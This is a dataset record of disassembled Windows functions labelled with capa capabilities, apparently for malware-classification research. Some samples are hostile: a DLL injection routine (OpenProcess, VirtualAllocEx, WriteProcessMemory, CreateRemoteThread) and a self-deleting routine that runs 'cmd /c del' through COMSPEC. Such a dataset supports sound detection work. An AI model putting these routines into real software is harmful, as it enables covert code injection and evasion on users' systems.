joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404e34
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
xor eax, eax
push ebp
push 0x404f97
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, dword [0x408280]
cmp byte [eax + 0xb], 0
jbe 0x404f1e
lea edx, [ebp - 0x10]
mov eax, 1
call fcn.00405088
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00404bd0
lea edx, [ebp - 0x14]
mov eax, 2
call fcn.00405088
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 8]
call fcn.00404bd0
lea eax, [ebp - 0xc]
call fcn.0040627c
mov eax, dword [0x4082a0]
mov eax, dword [eax]
call fcn.00401b9c
test eax, eax
je 0x404eba
mov eax, dword [0x4082a0]
mov eax, dword [eax]
call fcn.004011f0
call fcn.004011b4
mov eax, dword [ebp - 4]
call fcn.00401b9c
cmp eax, 4
jle 0x404f11
mov eax, dword [ebp - 4]
call fcn.0040519c
test al, al
je 0x404ee2
lea edx, [ebp - 8]
lea eax, [ebp - 4]
call fcn.00404aa8
mov ebx, eax
jmp 0x404f11
push 5
mov eax, dword [0x4082a0]
mov eax, dword [eax]
call fcn.00401d94
push eax
mov eax, dword [ebp - 8]
call fcn.00401d94
push eax
mov eax, dword [ebp - 4]
call fcn.00401d94
push eax
push 0x404fa8
push 0
call sub.shell32.dll_ShellExecuteA
mov ebx, eax
mov eax, dword [ebp - 0xc]
call fcn.004011f0
call fcn.004011b4
cmp ebx, 0x20
jb 0x404f7c
mov eax, dword [0x40829c]
cmp byte [eax], 0
je 0x404f7c
lea edx, [ebp - 0x18]
mov eax, dword [0x4082a0]
mov eax, dword [eax]
call fcn.00403ebc
mov eax, dword [ebp - 0x18]
push eax
lea edx, [ebp - 0x1c]
mov eax, dword [0x4082a8]
mov eax, dword [eax]
call fcn.00403ebc
mov eax, dword [ebp - 0x1c]
pop edx
call fcn.0040400c
test al, al
je 0x404f7c
lea edx, [ebp - 0x20]
mov eax, dword [0x4082a8]
mov eax, dword [eax]
call fcn.00403ebc
mov eax, dword [ebp - 0x20]
call fcn.00403d74
test al, al
je 0x404f7c
call fcn.00404c5c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404f9e
lea eax, [ebp - 0x20]
mov edx, 8
call fcn.00401a40
ret

Function at 0x4053ac
Capabilities:
Hash data with crc32

Disassembly:
push ebx
xor ebx, ebx
mov ecx, dword [0x4082f4]
movzx eax, bx
mov dx, 0xfff8
test eax, 1
jbe 0x4053cd
shr eax, 1
xor eax, 0xedb88320
jmp 0x4053cf
shr eax, 1
inc dx
jne 0x4053bc
mov dword [ecx], eax
inc ebx
add ecx, 4
cmp bx, 0x100
jne 0x4053b5
pop ebx
ret

Function at 0x4053e4
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
mov esi, dword [0x40827c]
mov edx, dword [esi]
mov eax, ebx
call fcn.00403b24
mov edi, eax
mov dword [esi], edi
and edi, 0xff
add dword [esi + 4], edi
imul ebx, dword [esi + 4], 0x8088405
inc ebx
mov dword [esi + 4], ebx
mov eax, ebx
call fcn.00402688
call fcn.0040268c
mov edx, dword [esi + 8]
call fcn.00403b24
mov dword [esi + 8], eax
pop edi
pop esi
pop ebx
ret
Function at 0x4054e4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov byte [ebp - 1], dl
mov esi, eax
mov ebx, dword [ebp + 8]
mov byte [ebp - 2], 0
test ebx, ebx
je 0x405581
mov eax, ebx
call fcn.0040542c
mov al, byte [ebp - 1]
dec eax
test al, al
jb 0x405544
inc eax
mov byte [ebp - 4], al
mov bl, 0
call fcn.004054bc
xor edx, edx
mov dl, bl
xor ecx, ecx
mov cl, byte [ebp - 1]
add edx, ecx
xor al, byte [esi + edx]
mov byte [ebp - 3], al
mov al, byte [ebp - 3]
call fcn.004053e4
xor eax, eax
mov al, bl
mov dl, byte [ebp - 3]
mov byte [esi + eax], dl
inc ebx
dec byte [ebp - 4]
jne 0x405516
xor eax, eax
mov al, byte [ebp - 1]
mov bl, byte [esi + eax - 1]
and di, 8
cmp di, 8
je 0x40556e
mov eax, dword [ebp + 0x10]
call fcn.00402688
call fcn.0040268c
cmp bl, al
jne 0x405581
mov byte [ebp - 2], 1
jmp 0x405581
xor eax, eax
mov al, bl
movzx edx, word [ebp + 0xc]
shr edx, 8
cmp eax, edx
jne 0x405581
mov byte [ebp - 2], 1
mov al, byte [ebp - 2]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc

Function at 0x4056cc
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd6c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x194], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ecx
mov ebx, edx
lea edi, [ebp - 0x30]
xor edx, edx
push ebp
push 0x40580e
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x191
push eax
call sub.user32.dll_GetDlgItem
mov esi, eax
push 0x4011
push 0x160
lea eax, [ebp - 0x190]
push eax
push 0x80
lea edx, [ebp - 0x194]
mov eax, ebx
call fcn.00403d38
mov eax, dword [ebp - 0x194]
call fcn.00401d94
push eax
call sub.shell32.dll_SHGetFileInfoA
mov dword [edi], 0xf
mov dword [edi + 4], 0x7fffffff
xor eax, eax
mov dword [edi + 8], eax
mov eax, dword [0x408280]
test byte [eax + 6], 2
jne 0x40575e
xor eax, eax
mov dword [edi + 0xc], eax
jmp 0x405765
mov dword [edi + 0xc], 2
mov dword [edi + 0x10], 2
mov eax, ebx
call fcn.00401d94
mov dword [edi + 0x14], eax
mov eax, ebx
call fcn.00401b9c
mov dword [edi + 0x18], eax
mov eax, dword [ebp - 0x18c]
mov dword [edi + 0x1c], eax
mov eax, dword [ebp + 8]
mov dword [edi + 0x20], eax
push edi
push 0
push 0x1007
push esi
call sub.user32.dll_SendMessageA
mov dword [edi], 1
mov dword [edi + 4], eax
mov dword [edi + 8], 1
lea edx, [ebp - 0x294]
mov eax, dword [ebp - 4]
call fcn.00401300
lea edx, [ebp - 0x294]
lea eax, [ebp - 8]
call fcn.00401b78
mov eax, dword [ebp - 8]
call fcn.00401d94
mov dword [edi + 0x14], eax
mov eax, dword [ebp - 8]
call fcn.00401b9c
mov dword [edi + 0x18], eax
push edi
push 0
push 0x1006
push esi
call sub.user32.dll_SendMessageA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405815
lea eax, [ebp - 0x194]
call fcn.00401a1c
lea eax, [ebp - 8]
call fcn.00401a1c
ret

Function at 0x40627c
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
push esp
push 0x104
call sub.kernel32.dll_GetCurrentDirectoryA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00401b08
add esp, 0x108
pop ebx
ret
Function at 0x4070a4
Capabilities:
Get file system object information
Set environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee8
xor eax, eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x118], eax
mov eax, 0x40702c
call fcn.00402380
xor eax, eax
push ebp
push 0x407218
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.kernel32.dll_GetTickCount
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x110]
call fcn.00402128
lea edx, [ebp - 0x110]
mov eax, 0x409f0c
call fcn.00401b78
mov eax, dword [0x409f0c]
call fcn.00401d94
push eax
push 0x407224
call sub.kernel32.dll_SetEnvironmentVariableA
call sub.comctl32.dll_InitCommonControls
push 0x105
push 0x409e04
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, 0x409e04
mov eax, dword [0x4082e8]
call fcn.00401b08
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [0x4082e8]
mov eax, dword [eax]
call fcn.00401d94
push eax
call sub.kernel32.dll_CreateFileA
mov edx, dword [0x4082c8]
mov dword [edx], eax
mov eax, dword [0x4082c8]
cmp dword [eax], 0xffffffff
jne 0x40719e
lea eax, [ebp - 0x114]
push eax
lea edx, [ebp - 0x118]
mov eax, 0x3ea
call fcn.00403ae8
mov eax, dword [ebp - 0x118]
mov edx, dword [0x4082e8]
xor ecx, ecx
call fcn.00404fb0
mov eax, dword [ebp - 0x114]
call fcn.00406154
call fcn.004053ac
call fcn.00404730
mov eax, 0x409ca4
xor ecx, ecx
mov edx, 0x160
call fcn.00401280
push 0x4001
push 0x160
push 0x409ca4
push 0
mov eax, dword [0x4082e8]
mov eax, dword [eax]
call fcn.00401d94
push eax
call sub.shell32.dll_SHGetFileInfoA
mov edx, dword [0x4082e0]
mov dword [edx], eax
push 0x4067a4
mov edx, 0x40722c
xor ecx, ecx
mov eax, dword [0x40967c]
call fcn.00402694
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40721f
lea eax, [ebp - 0x118]
mov edx, 2
call fcn.00401a40
ret
Function at 0x401160
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
push esi
push edi
push eax
push 0
push 0x42a
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov ebp, dword [esp + 0x18]
mov ebx, eax
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
push 4
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x1000
mov esi, ecx
inc esi
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x4011dd
push 0
push esi
push ebp
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x4011dd
push 0x40302c
push str.Kernel32
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x4011dd
push 0
push 0
push edi
push eax
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x4011f0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov ecx, dword [esp + 4]
mov eax, dword [esp + 8]
push ebx
push esi
push edi
and ecx, 0xffff
push eax
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov esi, eax
test esi, esi
je 0x401269
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_LoadResource]
test eax, eax
je 0x401260
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov edx, dword [esp + 0x18]
push 0x40303c
push edx
mov edi, eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x401269
push esi
push ebx
push 1
push edi
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
pop edi
pop esi
mov eax, 1
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret
Function at 0x401270
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
sub esp, 0x360
lea eax, [esp + 0x54]
push ebx
push ebp
push esi
push edi
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
je 0x4013dd
lea ecx, [esp + 0x64]
push 0x104
lea edx, [esp + 0x68]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
test eax, eax
je 0x4013dd
lea eax, [esp + 0x26c]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
test eax, eax
je 0x4013dd
lea ecx, [esp + 0x168]
push str.__c__del
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [esp + 0x64]
lea eax, [esp + 0x168]
push edx
push eax
call esi
lea ecx, [esp + 0x168]
push str.___nul
push ecx
call esi
lea edx, [esp + 0x168]
lea eax, [esp + 0x26c]
push edx
push eax
call esi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov word [esp + 0x50], bx
mov ebx, dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
push 0x100
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], 1
call ebx
mov esi, dword [sym.imp.KERNEL32.DLL_SetPriorityClass]
push eax
call esi
mov ebp, dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
push 0xf
call ebp
mov edi, dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
push eax
call edi
lea edx, [esp + 0x10]
lea eax, [esp + 0x20]
push edx
push eax
push 0
push 0
push 0xc
push 0
push 0
lea ecx, [esp + 0x288]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x4013cf
mov edx, dword [esp + 0x10]
push pe_nt_image_headers32
push edx
call esi
mov eax, dword [esp + 0x14]
push 0xfffffffffffffff1
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x360
ret
push 0x20
call ebx
push eax
call esi
push 0
call ebp
push eax
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x360
ret
Function at 0x401170
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x413080]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push ebx
push edi
push 0x1fe
push eax
mov word [ebp - 0x214], ax
mov dword [ebp - 0x20a], eax
mov word [ebp - 0x206], ax
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], eax
mov word [ebp - 0x204], ax
lea eax, [ebp - 0x202]
xorps xmm0, xmm0
push eax
movq qword [ebp - 0x212], xmm0
call sub.MSVCR110.dll_memset
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x228], 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov edi, dword [ebp - 0x22c]
push str.Software_
lea eax, [ebp - 0x204]
push pe_nt_image_headers32
xor ebx, ebx
or ebx, dword [ebp - 0x230]
push eax
and edi, 0x7fffffff
call dword [sym.imp.MSVCR110.dll_wcscpy_s]
push str.PCAP
lea eax, [ebp - 0x204]
push pe_nt_image_headers32
push eax
call dword [sym.imp.MSVCR110.dll_wcscat_s]
add esp, 0x18
lea eax, [ebp - 0x218]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x204]
push eax
push Ordinal_2
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4012f4
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x220]
push eax
push 0
push str.dwHighDateTime
push dword [ebp - 0x218]
mov dword [ebp - 0x220], 4
mov dword [ebp - 0x21c], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x220]
push eax
push 0
push str.dwLowDateTime
push dword [ebp - 0x218]
mov dword [ebp - 0x220], 4
mov dword [ebp - 0x21c], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x218]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x224]
xor eax, eax
or eax, dword [ebp - 0x228]
and ecx, 0x7fffffff
push 0
sub ebx, eax
push 0x989680
sbb edi, ecx
push edi
push ebx
call fcn.0040a4f0
pop edi
pop ebx
test edx, edx
jl 0x40133c
jg 0x401329
cmp eax, 0x35e8
jbe 0x40133c
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a4d6
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.0040a4d6
mov esp, ebp
pop ebp
ret
Function at 0x401350
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x413080]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x1fe
push eax
mov word [ebp - 0x204], ax
lea eax, [ebp - 0x202]
push eax
call sub.MSVCR110.dll_memset
push str.Software_
lea eax, [ebp - 0x204]
push pe_nt_image_headers32
push eax
call dword [sym.imp.MSVCR110.dll_wcscpy_s]
push str.PCAP
lea eax, [ebp - 0x204]
push pe_nt_image_headers32
push eax
call dword [sym.imp.MSVCR110.dll_wcscat_s]
add esp, 0x24
lea eax, [ebp - 0x218]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x204]
push eax
push Ordinal_2
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x401473
mov word [ebp - 0x214], ax
mov dword [ebp - 0x20a], eax
mov word [ebp - 0x206], ax
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x214]
xorps xmm0, xmm0
push eax
movq qword [ebp - 0x212], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 4
lea eax, [ebp - 0x21c]
push eax
push 4
push 0
push str.dwHighDateTime
push dword [ebp - 0x218]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea eax, [ebp - 0x220]
push eax
push 4
push 0
push str.dwLowDateTime
push dword [ebp - 0x218]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x218]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a4d6
mov esp, ebp
pop ebp
ret

Function at 0x4016d0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x413080]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.MSVCR110.dll__strupr]
add esp, 4
lea eax, [ebp - 0x108]
push eax
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.MSVCR110.dll__strupr]
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.MSVCR110.dll_strstr]
mov ecx, dword [ebp - 4]
add esp, 0xc
neg eax
sbb eax, eax
xor ecx, ebp
inc eax
call fcn.0040a4d6
mov esp, ebp
pop ebp
ret
Function at 0x402e40
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x413080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor esi, esi
push 0x4139a0
mov dword [ebp - 0x40c], esi
call sub.libav.dll_Ordinal_44272
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x402e95
push 0x4139a0
push str._checkdbdir:_Cant_open_directory__s_n
call fcn.00409df0
add esp, 8
or eax, 0xffffffff
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a4d6
mov esp, ebp
pop ebp
ret
push ebx
call sub.libav.dll_Ordinal_44273
add esp, 4
test eax, eax
je 0x402fe6
push edi
mov edi, dword [sym.imp.MSVCR110.dll__unlink]
lea ecx, [ecx]
cmp word [eax], 0
je 0x402fd4
lea esi, [eax + 3]
push str..cld
push esi
call sub.libav.dll_Ordinal_44258
add esp, 8
test eax, eax
jne 0x402ee5
push str..cvd
push esi
call sub.libav.dll_Ordinal_44258
add esp, 8
test eax, eax
je 0x402fce
push esi
push 0x4139a0
push 0x40e678
lea eax, [ebp - 0x204]
push 0x200
push eax
call sub.libav.dll_Ordinal_44276
lea eax, [ebp - 0x204]
push eax
call sub.libav.dll_Ordinal_5
add esp, 0x18
test eax, eax
je 0x402fce
or esi, 0xffffffff
push eax
mov dword [ebp - 0x40c], esi
call sub.libav.dll_Ordinal_27
push eax
lea eax, [ebp - 0x204]
push eax
push str._Corrupted_database_file__s:__s_n
call fcn.00409e10
lea eax, [ebp - 0x204]
push eax
push str._s.broken
lea eax, [ebp - 0x408]
push 0x201
push eax
call sub.libav.dll_Ordinal_44276
lea eax, [ebp - 0x408]
push 4
push eax
call sub.libav.dll_Ordinal_44340
add esp, 0x28
test eax, eax
jne 0x402f77
lea eax, [ebp - 0x408]
push eax
call edi
add esp, 4
lea eax, [ebp - 0x408]
push eax
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.MSVCR110.dll_rename]
add esp, 8
test eax, eax
je 0x402fb8
lea eax, [ebp - 0x204]
push eax
call edi
add esp, 4
test eax, eax
je 0x402fd4
lea eax, [ebp - 0x204]
push eax
push str._Cant_remove_broken_database_file__s__please_delete_it_manually_and_restart_PCAccelerateProUpdater_n
call fcn.00409e10
add esp, 8
jmp 0x402fd4
lea eax, [ebp - 0x408]
push eax
push str.Corrupted_database_file_renamed_to__s_n
call fcn.00409e10
add esp, 8
jmp 0x402fd4
mov esi, dword [ebp - 0x40c]
push ebx
call sub.libav.dll_Ordinal_44273
add esp, 4
test eax, eax
jne 0x402eb0
pop edi
push ebx
call sub.libav.dll_Ordinal_44274
mov ecx, dword [ebp - 4]
add esp, 4
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a4d6
mov esp, ebp
pop ebp
ret
Function at 0x40a110
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2238
call fcn.0040a7b0
mov eax, dword [0x413080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push 0x8000
push eax
mov dword [ebp - 0x2238], eax
xor esi, esi
call dword [sym.imp.MSVCR110.dll__open]
mov edi, eax
add esp, 8
cmp edi, 0xffffffff
je 0x40a225
lea eax, [ebp - 0x2034]
push eax
push edi
call dword [sym.imp.MSVCR110.dll__fstat64i32]
add esp, 8
cmp eax, 0xffffffff
je 0x40a21b
push 0x200
lea eax, [ebp - 0x2234]
push esi
push eax
call sub.MSVCR110.dll_memset
push 0x64
push dword [ebp - 0x2238]
lea eax, [ebp - 0x2234]
push eax
call dword [sym.imp.MSVCR110.dll_strncpy]
push dword [ebp - 0x2020]
lea eax, [ebp - 0x21b8]
push 0x4114f8
push 0xc
push eax
mov byte [ebp - 0x21d1], 0
call sub.libav.dll_Ordinal_44276
add esp, 0x28
xor ecx, ecx
xor edx, edx
lea ebx, [ebx]
movzx eax, byte [ebp + ecx - 0x2234]
add esi, eax
movzx eax, byte [ebp + ecx - 0x2233]
add ecx, 2
add edx, eax
cmp ecx, 0x200
jb 0x40a1c0
lea eax, [esi + 0x100]
add eax, edx
push eax
push str._06o
lea eax, [ebp - 0x21a0]
push 8
push eax
call sub.libav.dll_Ordinal_44276
add esp, 0x10
lea eax, [ebp - 0x2234]
push 0x200
push eax
test ebx, ebx
je 0x40a239
push ebx
call sub.libav.dll_Ordinal_44294
add esp, 0xc
test eax, eax
jne 0x40a24c
push edi
call dword [sym.imp.MSVCR110.dll__close]
add esp, 4
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a4d6
mov esp, ebp
pop ebp
ret
push dword [ebp + 8]
call dword [sym.imp.MSVCR110.dll__write]
add esp, 0xc
cmp eax, 0x200
jne 0x40a21b
push 0x2000
lea eax, [ebp - 0x2004]
push eax
push edi
call dword [sym.imp.MSVCR110.dll__read]
mov esi, eax
add esp, 0xc
test esi, esi
jle 0x40a2af
push esi
lea eax, [ebp - 0x2004]
push eax
test ebx, ebx
je 0x40a283
push ebx
call sub.libav.dll_Ordinal_44294
add esp, 0xc
test eax, eax
je 0x40a21b
jmp 0x40a293
push dword [ebp + 8]
call dword [sym.imp.MSVCR110.dll__write]
add esp, 0xc
cmp eax, esi
jne 0x40a21b
push 0x2000
lea eax, [ebp - 0x2004]
push eax
push edi
call dword [sym.imp.MSVCR110.dll__read]
mov esi, eax
add esp, 0xc
test esi, esi
jg 0x40a268
push edi
call dword [sym.imp.MSVCR110.dll__close]
mov esi, dword [ebp - 0x2020]
add esp, 4
and esi, 0x800001ff
jns 0x40a2cf
dec esi
or esi, 0xfffffe00
inc esi
je 0x40a330
push 0x200
lea eax, [ebp - 0x2234]
push 0
push eax
call sub.MSVCR110.dll_memset
add esp, 0xc
mov eax, 0x200
sub eax, esi
push eax
lea eax, [ebp - 0x2234]
push eax
test ebx, ebx
je 0x40a31b
push ebx
call sub.libav.dll_Ordinal_44294
add esp, 0xc
test eax, eax
jne 0x40a330
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a4d6
mov esp, ebp
pop ebp
ret
push dword [ebp + 8]
call dword [sym.imp.MSVCR110.dll__write]
add esp, 0xc
cmp eax, 0xffffffff
je 0x40a225
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0040a4d6
mov esp, ebp
pop ebp
ret
Function at 0x40fc6b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41e2c0]
jne 0x40fc75
repz ret
jmp fcn.004129a7

Function at 0x413efb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41e2c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004130ba
and dword [ebp - 0x14], 0
cmp dword [0x420aa0], 0
mov dword [ebp - 0x18], eax
jne 0x413fae
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x414056
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41bf04
push ebx
call edi
test eax, eax
je 0x414056
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x420aa0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x420aa4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x420aa8], eax
call edi
push eax
call esi
mov dword [0x420ab0], eax
test eax, eax
je 0x413fae
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x420aac], eax
mov eax, dword [0x420aac]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x414007
cmp dword [0x420ab0], ecx
je 0x414007
push eax
call esi
push dword [0x420ab0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x414007
test ebx, ebx
je 0x414007
call edi
test eax, eax
je 0x413ffe
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x413ffe
test byte [ebp - 8], 1
jne 0x414007
or dword [ebp + 0x10], 0x200000
jmp 0x41403a
mov eax, dword [0x420aa4]
cmp eax, dword [ebp - 0x18]
je 0x41403a
push eax
call esi
test eax, eax
je 0x41403a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41403a
mov eax, dword [0x420aa8]
cmp eax, dword [ebp - 0x18]
je 0x41403a
push eax
call esi
test eax, eax
je 0x41403a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x420aa0]
call esi
test eax, eax
je 0x414056
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x414058
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040fc6b
leave
ret